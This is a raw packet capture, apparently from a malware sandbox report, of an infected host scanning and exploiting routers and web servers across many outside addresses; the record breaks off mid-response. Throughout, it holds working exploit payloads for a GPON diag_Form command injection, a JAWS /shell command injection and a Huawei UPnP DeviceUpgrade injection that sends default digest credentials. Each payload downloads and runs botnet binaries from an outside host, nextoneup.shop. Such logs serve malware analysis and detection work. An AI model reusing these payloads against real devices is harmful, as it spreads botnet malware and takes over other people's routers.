Apr 14, 2024 04:00:27.357816935 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1219	192.168.2.23	37410	42.161.8.89	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.357848883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1220	192.168.2.23	34236	202.38.237.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.357881069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1221	192.168.2.23	58094	45.207.81.150	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.477238894 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.805331945 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:27 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1222	192.168.2.23	52532	190.166.143.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.545984983 CEST	1289	IN	HTTP/1.1 400 Bad Request Server: ZTE web server 1.0 ZTE corp 2015. Accept-Ranges: bytes Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e Data Ascii: <html> <head><title>400 Bad Request</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>400 Bad Request</h2>Your request has bad syntax or is inherently impossible to satisfy.<div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own
Apr 14, 2024 04:00:27.547141075 CEST	153	IN	Data Raw: 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f Data Ascii: canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span></div><hr /></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1223	192.168.2.23	49288	72.52.64.48	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.655685902 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.840327024 CEST	619	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:27 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 390 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1224	192.168.2.23	45180	156.241.117.155	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.738389969 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1225	192.168.2.23	35284	212.57.38.177	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.848696947 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:28.184766054 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:28 GMT Server: Apache/2.4.10 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1226	192.168.2.23	56686	13.227.200.135	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.860862970 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:28.207202911 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:28 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1227	192.168.2.23	52846	5.188.88.39	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.902890921 CEST	199	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1228	192.168.2.23	55480	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.003489971 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 31 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:14Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1229	192.168.2.23	55514	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:28.688117027 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 31 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:15Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1230	192.168.2.23	55530	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.345673084 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 31 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:15Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1231	192.168.2.23	56638	172.65.192.203	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.388705015 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1232	192.168.2.23	54972	76.53.156.26	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:29.402964115 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:29.594403028 CEST	975	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 26 23 78 32 46 3b 73 68 65 6c 6c 3f 63 64 20 26 23 78 32 46 3b 74 6d 70 3b 72 6d 20 2d 72 66 20 2a 3b 77 67 65 74 20 68 74 74 70 3a 26 23 78 32 46 3b 26 23 78 32 46 3b 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 26 23 78 32 46 3b 6a 61 77 73 3b 73 68 20 26 23 78 32 46 3b 74 6d 70 26 23 78 32 46 3b 6a 61 77 73 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 